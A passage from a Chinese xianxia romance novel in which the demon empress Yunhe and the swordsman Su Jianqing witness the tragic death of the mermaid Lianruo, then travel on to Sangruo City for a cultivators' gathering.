蕴禾冷声道:“杀了那么多妖修还想要我放你一命,哪有这么好的事?” 她不算是个好妖,但对大部分妖族百姓来说,蕴禾定是个好的君王。 臣民无故遇难,作为妖族皇者,她怎么能不将罪魁祸首绳之以法? 后饶脸色苍白,不断有汗珠淌落。不知过了多久,他神色逐渐呆滞,伸手往蕴禾的方向爬去。 “鲛珠……给我鲛珠……” “我的鲛珠……” 到了这个份上,竟还惦记着鲛珠。 蕴禾眸色一厉,抬掌一捏。妖气在后饶脖颈聚拢,硬生生捏断了他的脖子。 尸体从空中坠落,毫无气息平躺在地,蕴禾出了气,晦气转身,不再看他一眼。 视线掠过柳颐与莲若,落在苏见清身上,她问:“可有受伤?” 苏见清嘴角轻扬,“没有。” 话音方落,他只觉胸口一闷。 蕴禾移至苏见清身旁,秀眉紧蹙,“怎么了?” “无碍。” 苏见清轻按胸膛,解释道:“方才被后饶拍了一掌,不过多亏有你的玉婵纱衣在,我并无大碍。” 蕴禾轻哼一声,知道她的好了吧? 简单寒暄几句,二人不约而同看向柳颐与莲若。 柳颐小心翼翼扶住莲若双肩,仿佛在对待易碎的珍宝,“阿若,你感觉怎么样?” 莲若小弧度摇头,虚弱开口,让柳颐彻底僵住。 她说:“那日见到你的第一面,我就知道你不是他。” 第59章 柳颐一瞬间连呼吸都停止了,喉间艰难吞咽,涩声道:“……你说什么?” “我说。” 莲若扬起苍白小脸,轻声道:“那日看见你的第一眼,我就知道你不是他。” 她与柳适相处那么久,一同历经生死,有过最刻骨铭心的爱恋,哪怕柳颐与他再像,可感觉不会骗人,她不会认不出自己的心上人。 莲若不知道柳颐为何要装成柳适,也不知柳适究竟去了何处,可看见他的第一眼,鬼使神差的,她并未拆穿,将这场戏演了下去。 或许她心里早有预感,只是不敢,也不愿去相信,宁愿猜测是柳适为了救他受了重伤,不得不请柳颐演这出戏。 可在观沧海住得越久,莲若内心越是明白,柳适再也不会出现在她面前,浅笑盈盈唤她阿若了。 “为什么?” 柳颐眼角泛红,有泪从眼眶中滚落,啪嗒滴在莲若脸上。 他呼吸艰难,哽声问:“为什么不告诉我?” 为什么要陪他演这场戏?为什么不抗拒他,为什么要与他做真夫妻? “抱歉啊小颐。” 莲若伸手抚摸柳颐的脸,目光温柔又歉疚,轻声道:“我心里其实猜到阿适不在了,可我不愿接受这个事实。这个时候,与阿适生得一模一样的你陪在我身边,我恍惚中觉得,你就是他,他还在,依旧……” “所以。” 柳颐将她打断,含泪的眼紧盯着莲若,重重喘了一口气,嗓音发哑,“一直以来,我都是阿兄的替身?” 莲若眼睫微湿,愧疚道:“对不起,小颐,我……” “你别说了!” 柳颐猛地摘下莲若的手,将脸埋在她颈中,泪水滚滚而落,将莲若脖颈肌肤打湿。 他哽咽道:“我知道,我知道的……” 她没说错,从一开始,他就是因为顶替了阿兄的身份,才能陪在她身边。 他本就是个替身。 演了阿兄这么多年,他终于直面自己不愿面对的事实。 莲若爱的,一直是阿兄啊……这些年的柔情蜜意,不过是因为,他与阿兄生了一张一模一样的脸。 他只是莲若绝望时的一个慰藉。 “小颐。” 一只手在头顶抚摸,莲若的声音依旧那么温柔,可却似一把把钝刀割在柳颐心脏,起初并不痛,可随着时光流逝,无数隐秘的痛苦瞬间涌来,将他的心割得千疮百孔。 “对不起。” 不,不要说对不起,他不想听对不起。 莲若声音放柔,“往后去过自己的日子吧,我要去找你阿兄了。” 柳颐瞬间抬脸,斑驳泪痕纵横脸颊,他慌乱把莲若的手握在掌中,急促道:“我救你,我能救你,鲛珠、鲛珠……你的鲛珠找回来了。” 他看向蕴禾,目光似无助的孩童,眸中盛满哀求,“我求你,求你把鲛珠还给阿若,求你救救她。” “只要你能救她,无论要我做什么我都愿意,求你救救她。” 蕴禾看他一眼,掌心翻转,紫色鲛珠落于掌中。 “不用了。” 莲若抬眼看来,眼睛轻轻弯起,笑着对蕴禾道:“这鲛珠,就赠与阿蕴姑娘吧。” 她与柳适的悲剧,不是因人妖有别,也不是因感情破裂,归根结底,却是因为她的鲛珠。 她生来便有,被视为另一条生命的鲛珠。 她无法怨怼这颗陪伴自己多年的鲛珠,可此时此刻,她也的确无法接受它了。 “阿若不要!” 柳颐满脸痛苦,眼眶通红,“那是你的鲛珠,能救你的命。” 他神色惊慌,“你是不是不想看见我?我可以发誓,等你好之后,我会离你远远的,再也不会出现在你面前。” “小颐。” 莲若轻轻搭上柳颐的手,无奈道:“我如今的身体承受不住鲛珠入体的。” 柳颐震住。 在他悲伤破碎的目光中,莲若勾唇,温柔又残忍道:“你阿兄的元婴,碎了。” 柳颐惊慌垂首,莲若胸口的伤不知何时裂开了,大股大股的血从里头涌出,将她浑身打湿。 柳颐低声啜泣,“阿若,不要……” 莲若嘴角轻扬,笑容无奈又悲伤。 时至今日,莲若才知柳适为她付出了什么。 元婴。 这些年来支撑她支离破碎身体的,竟是柳适的元婴。 他不曾违背过誓言,一直守护在她身边,从未离开过。 可她呢? 莲若闭上眼。 不一样的。 这两兄弟虽生得相似,性格爱好却全然不同。 哪怕柳颐最初装得再像,但经年养就的喜好,并不能在一夕之间全然改变,总会在日常相处中透露一二。 柳适常年在外游历,练就一手好厨艺,而柳颐身子孱弱,从未亲手下过厨。 柳适画技不好,柳颐画工精湛。 柳适如自由自在的风,他喜欢坐卧山间,笑看云起,徜徉大海,与万物共乐。而柳颐似水,看似深沉,却又温柔包容,若非必要,他其实并不喜欢出门,反而更乐意与她腻在一处。 所有的一切都在提醒莲若,他们是不一样的、独立的人。 一颗珍珠从莲若眼角掉落,她轻声道:“小颐,你阿兄在等我。” 她想,柳适定是化身成风,自由徜徉在玄清域的山林之间。 那她就成为一滴水吧,在他掠过山间时从树间掉落,顺风而行。 也不知到时候,阿适会不会怪她。 “阿蕴姑娘,若是可以,往后能否带那颗鲛珠去趟南曲海?就当……” 就当是代替她,回去看看那片生她养她的海域。 莲若缓缓闭上眼。 “不!阿若!” 柳颐伸手去抓莲若的手。 在他触碰到的一刹那,莲若身上紫光大涨,一头青丝散开,如海藻般掉在柳颐手臂。 双腿化为一条鲛尾,紫色鳞片光芒暗淡,一枚波浪印记出现在眉心。 蕴禾安静凝视这尾鲛人。 她很美,哪怕无声无息躺在柳颐怀中,依旧可以窥见那股惊心的美丽。可以想象,若她醒来,在海中自由穿梭,该是何等惊艳。 蕴禾看向掌中鲛珠,轻轻阖起手掌将之收好。 “阿蕴姑娘,你快看。” 身侧苏见清忽地出声,蕴禾撩起眼皮,只见莲若的身体正化为紫光散去。 “阿若!阿若!” 柳颐膝行着拼命去捞莲若的身体,他面色呈现出绝望到极致的麻木,双目泛起血丝,眼前一片晕眩,一会儿是莲若浅笑盈盈看着他的模样,一会儿是她毫无声息躺在血泊中,两者重影,引得他头痛欲裂。 “阿若!” 柳颐忍痛伸手。 一缕紫光从手中散去,莲若的身体彻底消散。 “阿若。” 柳颐怔怔望着虚空,泪水掉落,啪嗒汇聚在地面。有什么东西朝他滚来,柳颐茫然低头,一滴泪掉落在莹润珍珠上。 他呆愣许久,慢慢垂首,将那颗珍珠拾起,拢在掌心。 眸色骤然一厉,柳颐腰间玉剑脱落,剑尖直指他喉咙! “柳前辈!” 苏见清大喊:“你莫要做傻事!” 他急掠而上,身影却陡然顿在半空。 剑尖在距离柳颐一寸处陡然停下,再无法寸进。 他惨淡一笑,指尖颓然垂落,玉剑哐当一声掉落。 这么多年过去,时至今日,他依旧只能操纵阿兄的剑片刻,一如在莲若心中,他永远也比不过阿兄。 他怎么能做傻事,怎么有资格做傻事? 他的这条命,是阿兄用自己的血肉换来的,他不配,不配。 阿兄,对不起。我不该去打扰你们,对不起…… 柳颐握住那颗珍珠,缓缓起身,跌跌撞撞往外走去。 倘若当年用元婴换阿若活下来的是他,该有多好。 倘若当年阿兄和阿若不曾遇见后饶,该有多好。 倘若当年,他不曾喜欢上阿兄的心上人,该有多好啊。 如此,一切皆得圆满。 那道身影踉跄离开,彻底消失在蕴禾与苏见清视线里。 苏见清怔怔望着柳颐离开的方向,眸间似有伤神。 蕴禾轻声道:“原来莲若是因为柳适的元婴,才能存活至今。” “难怪她会入魔。” 虽说人修与妖修皆是引天地灵气入体,化为自身力量为己所用,但人妖之间本质不同,将人族的元婴放入妖族体内,用以承载庞大妖力,短时间内看不出端倪,可若是时间长了,那颗元婴定然承受不住,会呈现崩溃之势。 这个时候的莲若虚弱无比,若是再受些刺激,极有可能当场入魔。 等等,刺激? 蕴禾忽然转头问苏见清,“你说,莲若当真对柳颐无意吗?” 苏见清不解,“阿蕴姑娘是认为,莲若姑娘心里也是爱慕柳颐前辈的?” “或许吧。” “你可曾听闻过一个传闻?” 话音刚落,蕴禾轻扯嘴角,她忘了,苏见清并非妖族之人,怎会听过妖族的传闻。 不等苏见清追问,蕴禾自顾自道:“鲛人至情至性,感情真挚,传闻,当他们遇见心仪之人时,为了契合道侣,某些东西会发生转变。” 苏见清不解,“转变?” “是啊。” 蕴禾点头,“比如一个男鲛人爱上一个男妖,他很有可能会转变性别,成为女鲛。” 苏见清震惊,凤眼微微瞪圆,“还、还有这种事?” “天下之大,无奇不有,你不知道的多了去了。” 或许,这就是莲若性情发生转变的原因。 再者,当初柳适让柳颐选一个合适的时机让莲若断情,好让她回妖域去。蕴禾不知柳颐出于何故,抱着什么心情依照他的遗言去接近封柔,可柳颐没当真,莲若却认真了。 否则,她怎会杀了封柔并因此入魔? 不过,这一切只是蕴禾的猜测,真相如何,唯有死去的莲若自己清楚。 “走吧。” 苏见清颔首,跟在蕴禾身后。 离开前,他想起什么,往回看一眼,神识覆盖住整座楼阁,却并未发现那只玉妖的踪迹。 “怎么还不走?” 蕴禾在前面催促。 “来了。” 苏见清松开拧紧的眉头,快步跟上。 飞过海域时,二人不约而同停下。 明月照亮海水,一道身影枯坐礁石,背影孤寂悲凉。 苏见清余光轻轻从蕴禾身上掠过,旋即安静凝视海边人影。 他看了许久,蓦地仰头望向天边明月,内心似也被这凄凉月色感染,无端空寂起来。 柳适、柳颐、莲若,他们分明谁也没错,可最终却走到二死一心伤的地步。 难不成,人与妖之间,当真不能善终? 第60章 “走吗?” 没听见回音,蕴禾疑惑回头,“苏见清?” “啊?”苏见清猛然回神,怔愣道:“怎么了?” “你想什么呢?”蕴禾撇嘴,“咱们该走了。” “没、没什么。” 苏见清避开她的视线,垂首凝向礁石上枯坐的身影,“就这么让柳前辈留在这儿?” “就算你想带他离开,他也不会走。” 蕴禾同样看向下首之人。 对这纠葛多年的三人,她也颇为唏嘘。可惜柳适英年早逝,莲若惨死异乡,柳颐深受情伤。 掌心翻转,蕴禾摩挲光滑圆润的鲛珠,将叹息隐在海风中。 “走吧,你帮不了他。” 谁也帮不了他。 蕴禾收起鲛珠,身影融入月色中。 苏见清视线追寻着她的背影,直至消失不见。 他再度看向柳颐,伸出手掌。 咸湿海风穿指而过,风过无痕,无影无踪。 或许,他们都抓不住自己追寻的那缕清风。 …… 刚回到小院,蕴禾的房门骤然打开,穿着水蓝色长裙的姑娘倚靠着门框,素手捂唇打着哈欠问他,“你做什么去了?” 苏见清一怔,没想到她竟一直在等他,眼睛笼上一层微亮光芒,轻声道:“我去陪了陪柳颐前辈。” 蕴禾不满,“他一个有手有脚又有修为的修士,你陪他作甚?现在的他,想陪伴的只有莲若,大晚上的不回来休息,你去凑什么热闹?嫌自己伤得不够重?” 语气虽然有些冲,但话里的关心苏见清听得一清二楚,闻言弯起眼睛,“我知道了。” 你知道个鬼。 蕴禾不悦乜他一眼,往外丢了样东西,懒洋洋道:“喏,把这药吃了。” 苏见清徒手接过,看清上面的标志,疑惑道:“这是伏渊的药,阿蕴姑娘怎会有?” 打了一半的哈欠骤然顿住,蕴禾掀起长睫,睡意去了一半。 糟了,拿错了。 她若无其事朝苏见清走去,“什么伏渊的药,那东西我怎么会有?你看错了吧。” 苏见清摩挲着药瓶,轻轻摇头,“我自小吃惯的,绝不会认错。这是伏渊的回灵丹,专治内伤。” 他问:“阿蕴姑娘去过伏渊?” 两根葱白长指从他手中将药瓶拿走,苏见清抬睫。 站在月下的姑娘穿得单薄,月光似银色轻纱披在身上,她微微仰头,打量着手中药瓶,随口道:“我怎会去过伏渊?这药从哪儿来的我也忘了,许是买的吧。” 苏见清欲言又止。 这药产自伏渊药堂,仅供弟子们使用,绝不会外售。 “阿蕴姑娘……” 蕴禾骤然瞪来一眼,水润双眸内盛满恼怒,“我都说忘了,你还问什么问。” 她气呼呼把药放回去,另外再给苏见清一瓶药,“这药效果一般,你吃这个。” 说完,蕴禾转身快步回房,匆匆道:“吃完赶紧疗伤,我困了要休息,没事别打扰我。” 房门在苏见清面前阖上,他握着掌中药瓶,无奈苦笑。 每个人都有自己的秘密,心知阿蕴姑娘介怀,他定不会追问到底,何必如此避之不及。 长长叹口气,苏见清垂目凝望药瓶,眉眼在月色渲染下显出几分温柔。 他吃了两颗灵丹,旋身飞上屋顶,对月打坐疗伤,正脸始终对准蕴禾的屋子。 …… 没了鲛珠作怪,蕴禾这一觉睡得格外香甜。 她伸着懒腰开门,抬头便见苏见清坐在屋檐上冥想。 蕴禾盘腿席地而坐,撑着下巴细细打量他,披散的青丝随着动作散在肩头。 屋檐上的年轻剑修整个人沐浴在阳光下,金黄色的光照亮眉梢侧脸*,驱散他身上清冷,增添温柔暖意。 蕴禾抬了抬眉。 其实苏见清这个人只是外表看着冷淡不好接近,但只要熟悉后就会发现,他其实特别温柔。 喜欢毛茸茸的灵兽,喜欢做些稀奇古怪又精巧的小东西,心肠软,人又善良,最重要的是,他还有一手好厨艺。 这样的人,实在是太适合她了。 适合她带回妖域,做妖皇陛下的专属厨子。 许是蕴禾的目光太过灼热,苏见清眉心微动,渐渐掀开眼皮。 睁眼的刹那,下方姑娘目光灼灼盯着他的模样映入眼帘,苏见清心头一跳,怔愣须臾,轻声问:“阿蕴姑娘怎么这么看着我?” 蕴禾:“苏见清,你以后打算怎么办?一直待在伏渊吗?” 要不要跟我回妖域? 话未问出口,苏见清已颔首,“我长在伏渊,自幼得师尊教诲,往后自然该留守伏渊,尽我余生之力庇佑师门。” 浓黑长睫如羽翼轻轻一颤,他垂下眼,不敢看蕴禾,生怕泄露一丝情绪。 蕴禾扬起的嘴角逐渐拉直。 她就多余问这一句! 修真界的厨子这么多,她还能缺一个苏见清不成?妖域找不到,那就在玄清域找,她不信找不到一个合她心意的厨子。 他要留在伏渊那便留吧,等她找到解开同生咒的方法,立马回妖域当她的妖皇。到时候日日潇洒,三五年后,谁还记得一个普普通通的苏见清啊? 蕴禾噌一下站起,语气平淡道:“哦,随便你罢。” 她转身,房门砰一下阖上。 苏见清茫然不解,阿蕴姑娘怎么生气了? 忆起方才的对话,他心中蓦地一动。一股隐秘的欣喜从心脏溢出,暖流般淌过胸膛。 阿蕴姑娘,是在不舍他? 苏见清嘴角抿起一股清浅笑意,跃下屋檐,认真从芥子囊中挑选食材。 或许阿蕴姑娘只是舍不得他的厨艺,但这已经足够了。 香味从厨房里飘出的第一瞬间蕴禾便闻到了。 她推开门去到厨房,一半身子倚在门上,对里头忙活的苏见清道:“你在做什么?” 苏见清拎着锅铲,抽空回头道:“做鱼。” 在盛满烟火气的厨房里,清隽秀雅的剑修回头,唇边浅笑融入烟雾中,被渲染得温软柔和。 蕴禾一怔。 脑海有片刻的空白,等她回过神来时,苏见清已转身忙活去了。 她撇撇嘴,目光从案上扫过,语气不明道:“这么丰盛啊。” 苏见清抿唇,眼里有清浅笑意溢出,“嗯,惹了姑娘生气,自然该赔罪。” 蕴禾切一声,“什么姑娘,你怎么惹她生气了?” “一个……”停顿片刻,苏见清轻声道:“很好很好的姑娘。我嘴笨,总在不知不觉中惹她生气,别的不出彩,唯有一手厨艺还算不错,只能以此请求原谅。” 蕴禾半晌没出声。 心中腹诽,苏见清还嘴笨?两句话说得这么好听,这要是嘴笨,世上就没嘴甜的人了。 她哼声,“行了,她知道了,你快做你的吧,别把那姑娘给饿死了。” 苏见清含笑,“遵旨。” 翻了个白眼,将脑袋靠在门扉上,蕴禾眼中含笑注视他,自己也未发觉,被几句话撩起的火气,竟不知不觉消散了。 吃完苏见清做的一桌子好菜,醒来时听到的那些话彻底被蕴禾抛之脑后。 她放下木筷,“咱们什么时候走?” 苏见清眸光晶亮抬头,阿蕴姑娘还会与他同行? “我随意,你呢?” 蕴禾神色莫名,“不着急赶回伏渊,怎么,你不怕你师尊责怪了?” 苏见清一滞,表情有些不自然。 这些日子,他竟从未记起过师尊,实在不孝。 视线虚虚落在蕴禾头顶,苏见清道:“师尊宽宏大量,自不会在意这些小事。” 蕴禾轻嗤一声,她可没看出那玄陵是什么宽宏大量之辈。 之前苏见清回去受罚的事她还记着呢。 “明日吧。” 早些回去,免得他挨骂。 苏见清没想到竟这么快,神色略有失落,“好,都听阿蕴姑娘的。” 目光向外,看见一片湛蓝天空,他道:“我们去看看柳颐前辈吧。” 柳颐依旧是他们离开时的模样,枯坐在礁石上,任由海风拂面,海水打湿衣摆。 他手握珍珠,望向一望无际的大海,长发被风吹得卷起,脸上毫无表情,仿佛一尊精美的雕像,亘古守候这片海域。 “柳颐前辈,你……” 话出口,苏见清却不知该说什么。 劝他放下?可柳颐看样子,应是放不下的。 他只能沉默,陪着柳颐听潮起潮散。 伤感的情绪只在蕴禾心头出现一瞬,她站着无聊,取出青羽躺上去,吹着海风闭眼。 日光照在身上暖意丛生,蕴禾很快睡去。 一觉醒来,已是翌日。 那两人一坐一站,维持着蕴禾睡前的姿势,她揉着眼睛起身,嗓音带着刚睡醒时的微哑,“苏见清,我们该走了。” 苏见清的身影动了动,转身时心脏陡然一缩,一股微弱的疼痛令他身体僵住。 过了两息,那疼痛散去,苏见清眉头微拧,没放在心上,侧首对柳颐道:“柳颐前辈,我们要走了,你保重。” 柳颐一动不动,面无波澜。 苏见清叹气,越过他朝蕴禾走去。 朝阳初升,金黄色的光照耀在姑娘身上,眉宇灼灼,明亮似火。她一如初见般鲜活,吸引飞蛾向她扑去。 蕴禾打了个哈欠,骨头泛懒,懒洋洋靠着青羽,“走罢。” 指尖萦绕一抹绿光,她随手一勾,青羽泛起青光,载着她离开此地。 苏见清唤出长虹,御剑跟随在身后。 二人朝伏渊的方向飞去,离那道孤寂的身影与大海越来越远。 不知过了多久,海鸟盘旋在上空,鸣叫声高亢欢悦,海水扑打海岸,潮声一声高过一声。 柳颐缓慢地动了下眼睫,指腹轻轻摩挲掌中珍珠。 潮退了,他的身影随之隐去,遍寻不见。 过路人终有离去的一日,万物生长轮回自有定数。唯独这片海域,日复一日,亘古不变停留在此地,见证世人悲欢离合,爱恨交缠。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 远山烟岚笼罩,天边阴云密布。 细密雨丝纷纷扬扬从天空倾斜而下,大地似被泼了墨般,氤氲出水墨般的空灵淡雅。 两道灵光一前一后从天际划过,在到达小城前慢下速度,缓缓坠落。 苏见清收起长虹,对身前的蕴禾道:“阿蕴姑娘,可要在此处用完午膳歇息片刻再赶路?” 蕴禾点点头,“可以。” 二人遂进城。 知道蕴禾的习惯,苏见清寻了城内看起来最气派的酒楼,在店小二的推荐下点了几道招牌菜。 菜还未上,蕴禾百无聊赖地托腮把玩袖子上的珍珠。她今日穿得依旧是观沧海装束,致使一进城,便吸引了无数惊艳的目光。 苏见清为她斟茶,顺手给自己也倒一杯,浅浅抿着茶水出神。 片刻后,酒楼进来三人,坐到蕴禾隔壁桌。 一女二男,外表看不出是何关系,然而点完菜,那女子与两人说话,三人的身份瞬间明了。 “赶紧吃,吃完咱就回家。” “娘,你就带我去桑若城吧.” 对面两名少年瞧着不过十八、九岁,样貌生得还算清秀,一个胖一个瘦。 胖的那个哀求道:“群英会要开了,好多仙门都去了桑若城,你就带我去嘛。” 女子一口拒绝,“你又没有灵根,去作甚?” “谁说我没有了?这不是没测过嘛。” 胖少年不满,“万一我到了桑若城,有仙门看中我,要收我为弟子呢?” 女子冷酷无情,“别想了,你还是回去做梦吧。” 瘦少年帮腔,“娘,大哥不是自幼就在仙门修行吗?万一阿兄真的有天分呢?” 女子有片刻恍神,旋即道:“你大哥是大哥,阿兄是阿兄,怎么能混为一谈?” 胖少年嘟囔,“都是一个娘胎里出来的,怎么大哥行,我就不行呢?娘,定是你偏心,把大哥生得那般优秀,却把我和阿弟生得平平无奇。” “你胡说八道什么呢,说那么多口不渴啊?赶紧喝口水。” 蕴禾端起茶盏喝一口,目光扫过旁桌两个少年,细细探查一番。 嗯,的确如他们母亲所说,并无灵根。 看来这少年是不能得偿所愿了。 “菜齐了,客官请慢用。” 店小二端着木托盘上来,将菜一样样放在桌上。 蕴禾放下茶水,提起木筷。瞟到正在出神的苏见清,用筷头在他额上一敲,“回神了。” “啊?” 苏见清虚浮的目光一定。 蕴禾歪着脑袋纳闷,“你想什么呢?” “没什么。” 苏见清轻轻摇头,忙捏着筷子给蕴禾夹菜,“阿蕴姑娘快吃吧。” 狐疑将他扫了几眼,蕴禾脸颊一鼓,没再追问,高高兴兴吃菜。 吃完饭,二人准备启程,苏见清去结账,蕴禾站在门口等他。 邻桌母子三人恰好也在此时走出酒楼,胖少年跟在母亲身后嘟嘟囔囔,“娘,你就带我去桑若城嘛。” 女子依旧一口拒绝,“没得商量。带你来这么贵的酒楼吃饭已经是我心肠好,还想去那么远的桑若城?门都没有。赶紧走,你爹还在家里等我们。” 胖少年激动,手肘不小心碰到身侧的瘦少年,“为什么不行,我……” 那瘦少年重心不稳,“诶”一声向后倒去,苏见清正好在他身后,抬手扶了一把,“没事吧。” 瘦少年撑着他的力道站稳,连声道谢,“多谢这位公子。” 女子察觉到身后的动静,狠狠给了胖少年一下,警告道:“你再不安分,回去我让你爹好好收拾你。” 胖少年垂头丧气,“哦。” 女子转身向苏见清道谢,看清他的容貌时,眼里有惊艳欣赏,“这位公子,方才多谢你了。” “不必……” 苏见清抬眸,目光瞬间定住。 女子礼貌道完谢,又告了别,带着两个儿子离开。 三人的身影融入人群,耳畔交谈声逐渐淡去。 “你阿弟那么瘦,身子又不好,幸亏方才有那公子相扶,不然把他摔坏了,我看你怎么交代。” “娘,我错了,真的知道错了。阿弟,是我不对,你骂我吧。” “娘,我没事,况且阿兄又不是故意的。” “好好好,你们倒是兄弟情深,衬得我跟个恶毒后母似的。” “哪有娘说得那么严重,娘,我们给爹带点他喜欢的烙饼回去吧……” 蕴禾走到苏见清身边,顺着他的目光看过去,疑惑道:“你在看什么?” “只是在想。” 苏见清垂下眼睫,声音极轻,“威严又慈爱的母亲,可爱活泼的双生儿子,倒是幸福美满的一家。” “是挺好的。” 蕴禾双手环胸,审视着苏见清,“不过和你有什么关系,你这么失落作甚?” 苏见清指尖一颤,勉强勾起笑,“有吗?” 他转过脸,抬头望天,“雨停了,阿蕴姑娘,我们快赶路吧。” 蕴禾拧眉,总觉得他奇奇怪怪的,难不成方才那三人苏见清认识?可没有灵根的凡人,怎会与他有交集? 没等她想明白,苏见清已抬步走下石阶,站在街中转身朝她挥手,“阿蕴姑娘,我们走吧。” 雨后空气潮湿,呼吸间尽是青草芳香之气,他站在湿漉漉的街道上,眉眼仿佛也被雨水打湿,温软湿润。 剑修嘴角带着温和笑意,仿佛方才片刻的异样只是蕴禾的错觉。 他眸里星光蛊惑着蕴禾缓步步下石阶,朝他走近,“行,走罢。” 苏见清对她笑笑,与蕴禾并肩走出这座小城,御剑飞往伏渊。 路走到一半,苏见清忽地顿住。 蕴禾两指一转,青羽随之停下,她问:“怎么了?” 苏见清似有所感望向天空。 流光自天际闪过,一只纸鸽往他的方向飞来,轻轻落在苏见清掌心。 纸鸽中传出一道人音。 “见清,你可回伏渊了?若是未回,转道来桑若城。” 是典淮的声音。 苏见清收起纸鸽,对蕴禾道:“阿蕴姑娘,我们不去伏渊了,先去桑若城。” 蕴禾歪着脑袋,“桑若城?怎么感觉这么熟悉?” 苏见清失笑,“曲姑娘和巫道友之前提起过。” 哦,她想起来了。 他们要去参加什么群英会。 蕴禾对曲江篱那小东西还挺感兴趣的,闻言颔首,“行啊,走吧,你带路。” 苏见清:“好。” 他调转方向,御剑往桑若城的方向飞去。 心道,给成师妹的灵植还没有着落,这次去桑若城正好看看。 念及成佩兰,苏见清无可避免地想起青竹峰上的那只食铁兽。 这么久没回去,也不知云团可有生气? 余光往身后一瞄,苏见清抿唇。 也不知阿蕴姑娘往后会去何处,他……还能不能再见到她? …… 桑若城坐落在玄清域的中心位置,因群英会在此举办,这座城池极为繁华,远远看去,各类云舟云楼等飞行灵器数不胜数。 苏见清和蕴禾在桑若城前落定。 群英会即将开启,各方修士皆涌入桑若城。为避免混乱,所有进城修士皆要接受查验。 苏见清知晓此事后,担忧的目光落在蕴禾身上。 蕴禾翻白眼,凑近他小声道:“你太小看我了,这枚小镜子,还照不出我的真身。” 呼吸打在苏见清脸上,伴随而来的,是清新竹香。他面上发热,不自在地避了避,同时好奇,阿蕴姑娘的真身究竟是什么? 眼中的剑修白面微红,似霞光照射在白玉上,清透中夹杂绚丽。 蕴禾微微歪头,伸出一指,在苏见清脸上戳了戳。 剑修呆住,“阿、阿蕴姑娘?” 蕴禾罕见尴尬赧然,自然收回手,努力保持平静道:“你的脸还挺软嘛。” 此话一出,苏见清只觉耳边轰的一下,热度从脸颊瞬间蔓延至脖颈而后,一张白皙俊脸遍布红霞。 “喂,到你们了,有什么话你们夫妻不能回去被窝里说?” 身后忽然有人高声提醒。 周围顿时一阵善意的哄笑。 蕴禾从未被人这般调侃过,不由恼怒,龇了龇牙,夹杂着锐利的羞赧目光扫过四周。 下一刻,一只温热的手将她的手拢住,苏见清拉着她往前走,语调不稳,“走、我们走吧。” 脸上所有情绪在瞬间定格,蕴禾偏头去看苏见清,毫无知觉地被他牵着走。 恍恍惚惚进了城,她迷糊间想,他的手虽然不软,但还挺、还挺好牵的嘛。 这个念头刚在脑中划过,苏见清骤然松开手,视线落在一旁,低声道:“阿蕴姑娘,我先陪你去找家客栈,随后再去寻掌门师叔。” 骨节分明的修长手掌从掌中脱离,蕴禾莫名有些不悦,听到苏见清这话更是有股无名火噌噌往上涨,双手抱胸,扬着下巴睨着苏见清,冷笑道:“怎么,我见不得你师门中人?” 苏见清茫然,“没有啊。” 蕴禾眸光冷冽,“那你为何要让我单独留在客栈?” “阿蕴姑娘误会了。” 苏见清解释,“我只是先去向师叔报个平安,再告知他这段时日发生的事。等禀报完,我自会回来寻你。” “师叔修为高深,我是怕他看穿你的身份,这才不带你前去。” 蕴禾毫不动容,甚至脸色更冷,“哦,你在质疑我的实力。” 别说区区一个典淮,哪怕是玄陵在此,蕴禾也不把他放在眼里。 这姑娘有多自傲苏见清是知道的,闻言立即慌张解释,“不是,我只是害怕师叔对你不利。” “不对,我是害怕你有危险……” 好像越描越黑。 苏见清丧气垂头,低声道:“我、我只是担心你。” 不想她有丝毫暴露的风险,所以想将她藏起来。 剑修清凌凌的目光看过来,如朝露晶莹剔透,蕴禾心头莫名一动。 第62章 和苏见清对视良久,蕴禾率先败下阵来,“行了行了,不去就不去,你满意了吧?” 语气虽不耐,神色却并无烦躁,苏见清安了心,嘴角抿出一点笑,“阿蕴姑娘宽宏大量,我不胜感激。” 蕴禾冷哼,“就你会说话。” 只是在苏见清并未注意时,嘴角却轻轻翘起。 苏见清打听到桑若城里最好的客栈所在,带着蕴禾过去。 但他们来得太晚,客栈早已住满,蕴禾不高兴了,正准备拿灵石砸人,忽然听见头顶一声兴奋的—— “阿蕴姐姐!” 蕴禾抬头。 三楼木栏杆上靠着一个姑娘,身穿樱粉色广袖长裙,乌发斜斜编成辫子,发辫上缠绕数朵粉色小花。 姑娘眼睛弯弯,笑容甜美朝她挥手,一截皓腕在空中白得亮眼。 她身后站在一名极为俊美的男子,温柔摘过姑娘的手,轻轻将她衣袖放下。 是曲江篱和巫弃。 来的时候还在念叨,没想到这么快就遇见了。 蕴禾懒洋洋朝二人摆手。 曲江篱拉着巫弃噔噔下楼,几息的工夫便出现在蕴禾面前,兴奋地抓住蕴禾袖子,欢喜道:“阿蕴姐姐,苏公子,你们也来桑若城啦。” 蕴禾点头,“是啊。” 苏见清礼貌颔首,“曲姑娘,巫道友。” 巫弃回之一礼,“阿蕴姑娘,苏道友。” 两人对视一眼,默契挪开视线,无声站在两个姑娘身旁。 曲江篱拉着蕴禾问:“阿蕴姐姐,你们是要住客栈吗?” 蕴禾不悦撇嘴,“但这客栈已经没了空房。” “那简单!” 曲江篱兴奋道:“阿蕴姐姐你和我住一间,苏公子和阿弃住一间不就好啦?” 蕴禾一怔,她倒是没什么问题,不过…… 看向巫弃和苏见清,“我无所谓,你们呢?” 苏见清:“只要巫道友不嫌弃。” 当着曲江篱的面,巫弃当然说不出拒绝的话,笑容僵硬道:“当然不会。” “那就这么说定了!” 曲江篱挽住蕴禾的手,“阿蕴姐姐,我们快上去。” 蕴禾没动,望向苏见清。 他微微点头,“我先去向掌门师叔回话,一会儿回来。” 蕴禾这才道:“去吧。” 苏见清对曲江篱和巫弃颔首,正要离开,曲江篱提醒,“苏公子,我们住三楼天字二号和三号房,你可不要找错了。” 苏见清:“好,多谢。” 叮嘱完,曲江篱笑着挽着蕴禾上楼,欢快道:“阿蕴姐姐,这段日子我和阿弃在桑若城玩得可开心了,你不知道……” 巫弃嘴角带笑跟在两个姑娘身后上楼。 苏见清收回视线,缓步走出客栈,往伏渊仙门在桑若城的驻地行去。 各大仙门在桑若城皆有住所,且多数集中在内城。苏见清一路寻过去,守门的伏渊弟子见了他,惊喜又意外,“苏师兄?您怎么来了?” 苏见清颔首,“劳烦师弟带我去见掌门师叔。” 弟子诶诶两声,忙在前头带路。 到达典淮住所,弟子还未通报,他的声音已从屋内传出,“见清,直接进来罢。” 苏见清对弟子颔首,“有劳师弟,你先回罢。” 话落,他推门而入,恭敬道:“掌门师叔。” 